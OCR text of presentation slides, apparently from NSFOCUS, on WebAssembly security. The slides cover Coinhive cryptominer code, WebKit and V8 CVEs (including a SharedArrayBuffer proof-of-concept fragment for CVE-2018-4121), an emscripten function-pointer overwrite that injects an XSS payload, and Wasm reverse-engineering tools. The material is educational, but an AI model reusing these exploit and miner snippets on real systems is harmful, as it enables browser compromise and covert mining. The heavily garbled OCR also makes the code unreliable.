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2 AGENDA
* WHATIT IS
* WHY FOCUS IT
* WHAT ABOUT THE SECURITY OF WASM
* HOW TO ANALYZE IT AND EXAMPLES
* CONCLUSION
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* A BINARY INSTRUCTION FORMAT FOR A STACK-BASED VIRTUAL MACHINE.
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\‘v’éASSEMBLY INTRO <
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* WASM IS DESIGNED AS A PORTABLE TARGET FOR COMPILATION OF HIGH-LEVEL LANGUAGES LIKE
C/C++/RUST/.NET.

* WRITE ONCE,RUN ANYWHERE.

* RUN ON LIMITED VIRTUAL MACHINE LIKE JVM,STANDALONE.
* THE WAVM HAS BEEN OPEN SOURCE AT GITHUB.
* IT MEANS WASM BINARY CAN RUN IN “SPECIAL PROGRAMS”,IT MAY MALICIOUS.



o/ N — 4

7~ 'NSFOCUS

VEBASSEMBLY INTRO @

Primary repo: https://github.com/WAVM/WAVM LIKE

»>Qverview

This is a standalone VM for WebAssembly. It can load both the standard binary format, and the text format defined by the
WebAssembly reference interpreter. For the text format, it can load both the standard stack machine syntax and the old-
fashioned AST syntax used by the reference interpreter, and all of the testing commands.

Building and running it

To build it, you'll need CMake and LLVM 6.0. If CMake can't find your LLVM directory, you can manually give it the location in <
the LLVM_DIR CMake configuration variable. Note that on Windows, you must compile LLVM from source, and manually point

the LLVM_DIR configuration variable at <LLvM build directory>\lib\cmake\1lvm . )

A — AN @
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* WASM IS DESIGNED AS A PORTABLE TARGET FOR COMPILATION OF HIGH-LEVEL LANGUAGES LIKE
C/C++/RUST/.NET.

* WRITE ONCE,RUN ANYWHERE.
* RUN ON LIMITED VIRTUAL MACHINE LIKE JVM,STANDALONE.

* JUST USE THE APl WHICH PROVIDED BY JAVASCRIPT.
e BUT WE CAN USE THE EMSCRIPTEN TO COMPLIE THE C/C++ PROGRAMS TO WASM.

* SHIPPED IN 4 MAJOR BROWSER ENGINES.
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*%BASSEMBLY INTRO ®

S

* WASM IS DESIGNED AS A PORTABLE TARGET FOR COMPILATION OF HIGH-LEVEL LANGUAGES LIKE
C/C++/RUST/.NET

* WRITE ONCE,RUN ANYWHERE.

e RUN ON LIMITED VIRTUAL MACHINE LIKE JVM,STANDALONE.

e JUST USE THE APl WHICH PROVIDED BY JAVASCRIPT.

« SHIPPED IN 4 MAJOR BROWSER ENGINES.

e FIRST APPLICATION OPENED.

e« NO THREADS,NO SIMD,NO EXCEPTIONS,NO GARBAGE COLLECTION.
e STILL ON THE WAY.... "/

S = G )
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* WASM IS DESIGNED AS A PORTABLE TARGFT FOR COMPII ATION OF HIGH-IFVFI | ANGLIAGFS I IKF
C/C++/RUST/.NET >vim.wasm: Vim Ported to WebAssembly

This project is an experimental fork of Vim editor by @rhysd to compile it into WebAssembly using emscripten and binaryen.

* WRITE ONCE,RUN ANYWHERE.

Try it with your browser

e RUN ON LIMITED VIRTUAL MACHINE | . yorces

= Please access from a desktop browser (Chrome/Firefox/Safari/Edge). Safari seems the best on macOS.

° JUST USE THE API WHICH PROVI DED > Please avoid slow networks. Your browser will fetch total of around 1MB files.

= vim.wasm takes key inputs from DOM keydown event. Please disable your browser extensions which affect key inputs

(incognito mode would be the best).

o SH I P PED IN 4 MAJ OR B ROWSER ENC = This project is very early phase of experiment. Currently only tiny features are supported. More features will be

implemented (please see TODO section). And you may notice soon on trying it... it's buggy :)

e Fi RST AP PLlCATlON OPENED. = If inputting something does not change anything, please try to click somewhere in the page. Vim may have lost the

focus.

= You can try vimtutor by :e tutor .

* NO THREADS,NO SIMD,NO EXCEPTIC

= Vim exits on :quit, but the command does not close a browser tab. Please close it manually :)

The goal of this project is running Vim editor on browser by compiling Vim C sources into WebAssembly.

i —

* STILL ON THE WAY....



%ASSEMBLY INTRO

'

WASM IS DESIGNED AS A PORTABLE TARGET FOR C

C/C++/RUST/.NET

WRITE ONCE,RUN ANYWHERE.

RUN ON LIMITED VIRTUAL MACHINE LIKE JVM,STANL
JUST USE THE APl WHICH PROVIDED BY JAVASCRIPT
SHIPPED IN 4 MAJOR BROWSER ENGINES.

FIRST APPLICATION OPENED.

NO THREADS,NO SIMD,NO EXCEPTIONS,NO GARBA
STILL ON THE WALY....

Feature

Specification

Threads

Fixed-width SIMD

Exception handling

Zarbage collection

Bulk memory operations

Web Content Security Policy

ECMAScript module integration

Tail Call

MNon-trapping float-to-int conversions

Multi-value

N/
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Tracking
issue

Status
in
progress
in
progress
in
progress
in
progress
in
progress
in
progress
in
progress
in
progress
in
progress
in
progress

in

nroaress

Phase

Proposed spec text
available

Feature proposal
Feature proposal
Feature proposal
Feature proposal
Feature proposal
Pre-proposal

Feature proposal
Feature proposal

Implementation phase /

Implementation phase
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o COINHIVE MINNER

) (wgndﬂw) ; (function(window) {

* THE SHELL WRITTEN BY JS "use strict";
var JobThread = function() {
e CORE CODE WRITTEN IN WASM this.worker = new Worker(CoinHive.CRYPTONIGHT_WORKER_BLOB);

this.worker.onmessage = this.onReady.bind(this);
this.currentlob = null;
° this.verifyJob = null;
. USUALLY CONFUSED this.jobCallback = function() {}; .
£ A i this.verifyCallback = function() {};

this. isReady = false;
this.hashesPerSecond = O}
this.hashesTotal = ©;
this.running = false;
this.lastMessageTimestamp = Date.now()

—
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COINHIVE MINNER

}](wgndow); (function{window) {

var JobThread = function() {

worker = new Worker(CoinHive.CRYPTONIGHT WORKER_BLOB);

.worker.onmessage = this.onReady.bind(this);

currentJob = null;
verifylob = null;

e THE SHELL WRITTEN BY JS "use strict";

- CORE CODE WRITTEN IN WASM e
this.

« USUALLY CONFUSED this.

this.

+hic
self.CoinHive.CONFIG = {
1) P LIB_URL: “https://coinhive.com/lib/",
a3 ASMJIS NAME: "worker-asmjs.min.js?v8",
REQUIRES_AUTH: false,

jobCallback = function()} {};
varifulCallhark = FimertinanlY 1.

WEBSOCKET_SHARDS: [[“wss://ws@81.coinhive.com/proxy”, "wss://ws802.coinhive.com/proxy”, "wss://ws@83.coinhive.com/

CAPTCHA URL: "https://coinhive.com/captcha/",
MINER URL: "https://coinhive.com/media/miner.html",
AUTH_URL: "https://authedmine.com/authenticate.html”

s

CoinHive.CRYPTONIGHT WORKER_BLOB = CoinHive.Res(" self.WASM BINARY INLINE= [@,97,115,169,1,0,0,0,1,51,9,96,3,127,127,1:
var Module=typeof Module!==\"undefined\"?Module:{};self.CoinHive=self.CoinHive||{};self.CoinHive.CONFIG={LIB URL:\"htt
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o COINHIVE MINNER
g 5 {
« THE SHELL WRITTEN Y etanetion e
« CORE CODE WRITTE! ?éﬁ;;gi; L i

return a < b;

* USUALLY CONFUSED 5

"QwiCr': function k(a, b) {
return a + b;

self.CoinHive.CONFIG = { }

LIB_URL "h‘ttps:,-"'fcoinh I:”::IjEI: BKC?EB(1BK294'}

ASM]S _MNAME: "worker-asm 1; N

3

SEGLEHES L T oo, if (a[_@xc720('0x6a1')]( Oxc720( @x6a2"), a[ 8xc720('@x6a3')])) {

WEBSOCKET_SHARDS: [["w= var = = h[_0xc720( ' 0x12°)1(" /")

CAPTCHA URL: "https://c var f = d-

n . " ¥

MINER—URL:" https://coi for (var ¢ = Bx0; a[ 0xc728('0x6a4"')](c, e[ Oxc720('@x1b')] - Ox1); c++) {

AUTH_URL: “https://auth var ¢ = e[ @xc7208('0x36")](0x8, a[ @xc720('0x6a5')](c, @x1))[ @xc728('ex17b')]("/"');
o if (!ble]) {
CoinHlve.CRYPTONIGHT_WORKER b[g] = WORKERFS[_ @xc720('@x13a’')](f, e[c], WORKERFS[ @xc720('@xlec')], @x@);

var Module=typeof Module!=

¥
f = ble];

¥

return T;
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PRETTY SECURITY DESIGNZ?

CVE-2018-4121 WEBKIT: WEBASSEMBLY PARSING DOES NOT CORRECTLY CHECK SECTION
ORDER

CVE-2017-5116 V8 ENGINE EXPLOIT
CVE-2018-4222 INFO LEAK IN WEBASSEMBLY COMPILATION
CVE-2018-6092 V8:INTEGER OVERFLOW WHEN PROCESSING WASM LOCALS

~
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PRETTY SECURITY DESIGN?®?
— °
* CVE-2018-4121 WEBKIT: WEBASSEMBLY PARSING DOES NOT CORRECTLY CHECK SECTION
ORDER
static inline bool validateOrder (Section previous, Section next)
{
i1f (previous == Section: :Custom)
return true;
return static cast<uint8_ t>(previous) < static cast<uint8_ t>(next):;
}
N’



* CVE-201
ORDER

static in
{

if (p

r

retur

PRETTY SECURITY DESIGNZ?

Section previousSection = Section: :Custom; —edp Default
while (m_offset < length()) {

uint8 t sectionByte;

WASM_PARSER_FAIL _IF(!parseUInt7(sectionByte), "can't get section byte");

Section section = Section::Custom:
if (sectionByte) {
if (isValidSection(sectionByte))}

i
uint32_t sectionlLength;

auto end = m offset + sectionlength;

section = static_cast<Section>(sectionByte); » Nothing set

switch (section) {
#define WASM_SECTION_PARSE(NAME, ID, DESCRIPTION) \
case Section::NAME: { \
WASM FAIL IF HELPER FAILS(parse ## NAME()); \
break; \

¥

fundef WASM_SECTION_PARSE

case Section::Custom: {
WASM_FAIL IF HELPER_FAILS(parseCustom(sectionlLength));
break;

}

}

- O UISE

previousSection = section; |~ SAVE! !
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PRETTY SECURITY DESIGNZ?

CVE-2018-4121 WEBKIT: WEBASSEMBLY PARSING DOES NOT CORRECTLY CHECK SECTION
ORDER

#define FOR_EACH WASM SECTIOMN(macro) \

macro(Type, 1, "Function signature declarations™) \
CVE-2017 macro(Import, 2, "Import declarations") \

macro(Function, 3, "Function declarations™) \
CVE-2018 macro(Table, 4, "Indirect function table and other tables") \
macro(Memory, 5, "Memory attributes™) \
macro(Global, 6, "Global declarations™) \
macro(Export, 7, "Exports™) \
macro(Start, 8, "Start function declaration™) \
macro(Element, 9, "Elements section™) \
macro(Code, 18, "Function bodies (code)") \
macro(Data, 11, "Data segments") -/
enum class Section : uint& t {
#define DEFINE_WASM_SECTION_ENUM(MAME, ID, DESCRIPTION) NAME = ID,

CVE-2018 W LOCALS

FOR_EACH WASM SECTION(DEFINE_WASM SECTION ENUM) /

#undef DEFINE_WASM SECTION_ ENUM
Custom

}s
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PRETTY SECURITY DESIGNZ?

function getSharedTypedArray(){
var wasmarr = [
8x2a, exbl, O@x73, ©xbd, Ox@1, Ox80, Ex00, Ox6a,
8xe1, EBxBE} @xe1, exe@, ex08, ex0l, exif, oxa3,
8x@3, exez, E]x@@, exoe, eaxe7, exl2, eéxel, exfe,
@x67, @xb5, @x74, ex4l, Oxte, €x73, Ox77, Bx65,
Bx72, @x50, @xbc, @x75, @x73, 9x31, Ox00, Ox0l,
C\/E_20'| 8_4] 2] \/\ BxBa, Oxfe, Ox02, exaa} 0x00, Bx41, Ox2a, Ox@b,
8x07, ex08, ex19, exea, E]x-iL, @x81, @xba, @xéb
L
ORDER Iuar sb = new Shar*edﬁu*r*a_\,fBu-F-Fer(',\Jasmar*r*.'_e-*g'_n);I e » 1)put WebAssembly code in a SharedArrayBuffer
. var sta = new UlntoArray(sb},
#define FOF for(var i=@;i<sta.length;i++)
CVE-201 7 macro( Type sta[i]=wasmarr[i];
mach(Imp( return sta;
macro(Fund var blob = new Blob([
CVE_20'I 8 mach(Tah: document.querySelector( #workerl").textContent
1, { type: "text/javascript™ })
macro (Memc
macpg(ﬁlgﬂuar worker = new Worker(window.URL.createObjectURL{blob)); | //----------------———- >2)create a web worker
CVE-20] 8 E var sta = getSharedTypedArray();
macr‘o( xpc %DebugPrint(sta. buffer);
maCPDI:S'tElllL-.'or“ker‘.;‘--:s:"essage(sta.hu-'-Fer‘))'l S e >3 )pass the WebAssembly code to the web worker
macro(Elen
L
maCPU(CDdE setTimeout(function(){ -
macro(Dat: ih%EfU{ )
ry
enum class //console. log(sta[58]);
#define DEF sta[51]=0;
FOR EACH | | var myModule = new WebAssembly.Module(sta); | S e »4)parse the webassembly code
— — var myInstance = new WebAssembly.Instance(myModule);
#undef DEF] J/myInstance. exports. getAnswerPlusl();
Custom reatch(e){
. S/ fconsole. Log(e)
s }
}

},1008);
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9 WITH NORMAL ATTACK METHOD
¢ XSS i:nggrﬁizzgg%z:g?z:iaie and an output channel #/
e ADWARE uintl6_t msg_len;
‘:-'Did I:*If:lutj{ const char * );

. HUACK /* {;ﬂgzgzgihe communicatiorj by calling the function pointer with message. #*/

* MAN-IN-THE-MIDDLE

* CAN REPLACE BY INJECT
* WAF/IPS ESCAPE
* WEBSITE MALICIOUS CODE O

* LIKE MINER



XSS

WITH

ADWARE

HIJACK

MAN-IN-THE-MIDDLE
CAN REPLACE BY INJECT

WAF /IPS ESCAPE

WEBSITE MALICIOUS CODE

LIKE MINER

N/
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NORMAL ATTACK METHOD

int main( wvoid )

i
Comms comms ;
comms.out = &communicate;
printf( "&communicate: %p\n", &communicate ); [/ Bx4
printf("&emscripten_run_script: %p\n", &emscripten_run_script); // @x5
char *payload = "alert('XSS');// " //16 bytes; "//" lets eval work
" " g0+ 16
" "4+ 16
" "/ + 16 to Till .msg = 64
" " Jf + 2 for alignment = 66
"h A0\ x00" [/ + 2 bytes to fill .msg_len = 68
"\x@5\x00\x00\x08"; // + 4 bytes to overwrite .out= 72
memcpy(comms.msg, payload, 72):
emscripten_run_script("console.log('Porting my program to WASM!');");
trigger( &comms );
return(@); ‘
}

¥ N N A )
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WITH THE INTERFACE PROVIDED BY JS

* HIDE SOMETING

* NETWORK TRAFFIC AGENT/ENCODE/ENCRYPT

HIDE SQL/ENCRYPTION ALGORITHM/ ...

* USING WEBSOCKET
HIDE MALWARE BINARY IN WASM BINARY

168¢
1687
1688
1689
1696
1691
16S
1693
1694
1695
1696
1697
169
169
17686
1761
176
176
1704
1785
176
1787
17¢
17889
1718
1711
1712
1713
1714
1715
1716

e’

i32.const
set local
get local
get local
i32.shl

set local
get_local
get local
i32.add

set local
get local

3

17
16
17

18
15
18

19
19

132.load offset=4

set local
get local
set_local
get local
set local
get local
get local
i32.1t u

set local
get local
set local
get local
i32.eqz

br_if 1 (;

get local

208
14
21
20
22
21
22

23
23
24
24

@3;)
5

132.load offset=24

set_local
get local

25
5

132.load offset=12

o

N’
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HOW TO ANALYZE IT
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_ * USE BINARYEN S
—/ e TOOLKITS FOR WASM SPECIALLY
e CONVERT JS/C++/C TO WASM BINARY
* CONVERT WASM TO WAT FORMAT
* USE IDA

* RE-COMPILE TO C PROGRAM,DRAG INTO IDA
* USE THE IDA PLUGIN:IDAWASM,PROVIDE BY FIREEYE

* USE BROWSERS
* F12 AND JUST SET A BREAK

* MANUAL
* TURN .WAT TO ASM, IT IS BETTER THAN READ C SOURCE CODE WHICH CONVERT BY BINARYEN =

Y N - - J.



set_local
get_local

74
7

i32.1load offset=44 align=4

set_local
get_local

75
7

i32.1load offset=24 align=4

set_local
get_local
get_local
i32.add

set_local
get_local

76
75
76

77
77

132.load8_u offset=8 align=1

set_local
i32.const
set_local
get_local
get_local
i32.shl

set_local
get_local
get_local
i32.shr_s
set_local
get_local
set_local
get_local
set_local
get_local
get_local

78
24
79
78
75

&8
&8
79

81
Ja
82
81
83
82
83

A 4
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© Paused on breakpoint

¥ Watch

¥ Call Stack

» wasm-function[d] wasm-caeTbe02-%:300
wasm-function[10] wasm-caelbe02-10:57
fetch.then.thenthenresults main.js: 137

— Promise.then (async)

(anonymous) main,s:118

¥ Scope

» Global Obje

¥ Local

b locals: {arg$d: 131872, arg#l: 88, arg#2: 131534, args3: 4, argid: o
» stack: {@: 119, 1: 118}
» this: Window

Ii.32 .eq
set_local
get_local
set_local
block

24
84
85

get_local &5

i32.eqz
br_if @

get_local 7

132.1load offset=32 align=4
set_local
i32.const
set_local
get_local
get_local

132.add

set_local
get_local
get_local
i32.store

end
get_local

7

&6
1

&7
&b
a7

858

7

B8

offset=32 align=4

i32.load offset=8 align=4
set_local

]

¥ Breakpoints

¥ mainjs:1

let instance = null;

¥ mainjs134

let pb = wasm_alloc({instance, 8x288);

¥ mainjs137

if (instance.exports.Match({pa, a.byteLength, pb, b.bytelength) == 1) {

¥ wasm-caeThed2-2:300
i3l.eg

¥ wasm-caeThe02-0:441
i32.add

¥ wasm-casThed2-9:442
set_local 115

¥ wasm-caeThed2-9:447
end

» XHR/fetch Breakpoints

» DOM Breakpoints

» Global Listeners

¥ Event Listener Breakpoints
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WAT TO .WASM SIMILAR WITH .PY TO .PYC,TEXT CONVERT TO BYTECODE

ljodutLe

.WAT FORMAT LIKES THIS: ) (P Moram tan don Taaiagy |
« STACK-BASED DESIGN Lype (5 13)nAune (param; .. N
« LESS OPCODE THAN OTHER LANGUAGE  (t/ne (.4. ;‘jﬁ,ij PareN 192 1 132 1a 150 GresiiEiR)
* EFFICIENT FUNCTION CALL e oS e o RRelshile 132))

THE PROGRAM CLAIM 2 FUNCTIONS

IMPORT PUTC_JS FROM MODULE ENV
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=« WASM FORMAT LIKE THIS:
* SIMILAR WITH PE FORMAT
* TRANSLATE AND RUN BY VIRTUALIZE ENV
« ONE-TO-ONE CORRESPONDENCE WITH WAT
 START WITH WASM FLAGS
 SECTION WITH IMPORT ,EXPORT,ETC...
* CLAIM FUNCTION IN FUNCTION SECTION
DIFFERENT WITH PE FORMAT
* THE CODE IN CODE SECTION,IT’S INDEPENDENT

Startup

Template Results — WASM. bt

* =truect
struct
* =truect
© struect
* =truect
* =truet
* =truect
© struect
* =truect
* =truet
© =truect

test wasm X

00 81
TF 01
TF 01
Te 07
00 oo
05 03
00 41
el &5
62 &1
64 03
65 T&
04 05
TF 23
05 eB
0e 20
03 36
0g 21
02 40
3e 02
OF 20

73
TF
TF
70
oo
01
AD
el
73
02
5F
06
80
21
01
02
on
20
18
oF

Hame

_ModuleHeader ModuleHe--

el
a0
a0
TE
oo
0o
88
eF
85
05
63
o7
80
06
36
08
20
oc
oc
2D

01
01
03
74
oo
02
04
72
03
4D
oo
08
80
41
o2
20
09
45
01
0o

_Section Section[0]
_Section Section[1]
_Section Sectionf[Z]
_Section Section[3]
_Section Section[4]
_Section Section[5]
_Section Sectionf[B]
_Section Section[T]
_Section Section[d]
_Section Section[9]

e’

0o
TF
TF
683
oo
06
0B
79
01
6l
0B
on
80
02
10
06
20
oD
0B
0o

A

0o
0o
TF
SF
03
15
TF
02
o0&
74
09
80
oo
21
20
28
on
0o
41
21

0o
a0
TF
Yy
oo
03
oo
0o
SF
683
oD
1E
21
o7
0a
02
4B
41
oo
10

Magic:
TIFE
IMPORT
FUHCTION
TAELE
MEMOEY

GLOBAL

EXFORT
ELEMERT
CODE
DATH

01
0o
01
T3
04
TF
41
0B
SF
68
01
0B
04
20
20
10
21
ES
21
20

20
0o
TF
0o
04
01
3C
SF
64
0o
oo
02
41
06
o2
21
0B
0o
0OE
06

¥alue

haO0asm, We--

05
a0
oz
01
05
41
08
SF
el

41
0o
20
20
36
08
20
21
20
20

N

’ J_./
v

Ok

gh

Zhh
JBh
49h
S0k
35h
BCh
ABhL
ESh

04
TF
01
oc
70

O
[a]a]

B O7F

85

4 6l

77
0B
99
05
36
oc
o7
21
20
28

34

TF
TF
03
0B
01
04
38
gl
SF
72
o7
02
20
02
20
21
oc
06
oz
0o

Start

FESh

N/

NGEMAri i

TF
TF
65
02
08
0B
05
70
65
69
oz
01
04
14
06
09
oz
20
14
1F

TF
TF
eE
0o
08
TF
06
S
eE
74
03
20
20
20

1Th

FOsh
Z5h

- £- { R

e e e e en
V.putc jS.......
............ E-
.......... B -,

B C....Be... 8.,
mEmMOry... heap
base... data en
d...Match...writ
BV Cununn- B.....
...... €.....™..
LEEEEE.1 LT,
- T .

.. . .8

& e ..t 1

! K, 1..@

@ .E..R&.!
Bewnnn B! f..1

—.. 1.

Color

Fe Be:

Fez Bz

Fe Be:

Fez if-

Fe Be:

Fez Bz

Fe Be:

Fez if-

Fe Be:

Fez Bz

Fe Be:

v [] <l

m
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NEED TO CONCERNED ABOUT WASM PARSER SECURITY,MAY BYPASS WAF OR BROWSERS

CONCERNED ABOUT ROADMAP,IT UPDATE QUICKLY.
* SUCH AS NEW FEATURES:THREADS,EXCEPTION HANDLING
* COMPILER UPDATE
* GRAMMER UPDATE

BE CAREFUL HTTP TRAFFIC,IT MAY COMES FROM WASM BINARY.
NO CODE PROTECT,CAN EASILY ACCESS SOURCE CODE
NO PACKER FOR WASM,MAY IT CAN WRITE BY JS OR WASM.

NO CHECKSUM FIELD,CAN NOT CHECK BY IT SELF. ~

WHEN PACKETED, IT WILL RUN FASTER THAN JS ANYMORE? /
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APPEND

* REFER:

e HTTP://I.BLACKHAT.COM/US-18/THU-AUGUST-9 /US-18-SILVANOVICH-THE-PROBLEMS-AND-
PROMISE-OF-WEBASSEMBLY.PDF

e HTTP://I.BLACKHAT.COM/US-18 /THU-AUGUST-9 /US-18-LUKASIEWICZ-WEBASSEMBLY-A-NEW-
WORLD-OF-NATIVE_EXPLOITS-ON-THE-WEB-WP.PDF

e HTTPS://GITHUB.COM/WEBASSEMBLY /DESIGN
e HTTPS://GITHUB.COM/MWRLABS /CVE-2018-4121
e HTTPS://GITHUB.COM /TUNZ/JS-VULN-DB /BLOB /MASTER /V8 /CVE-2017-5116.MD O






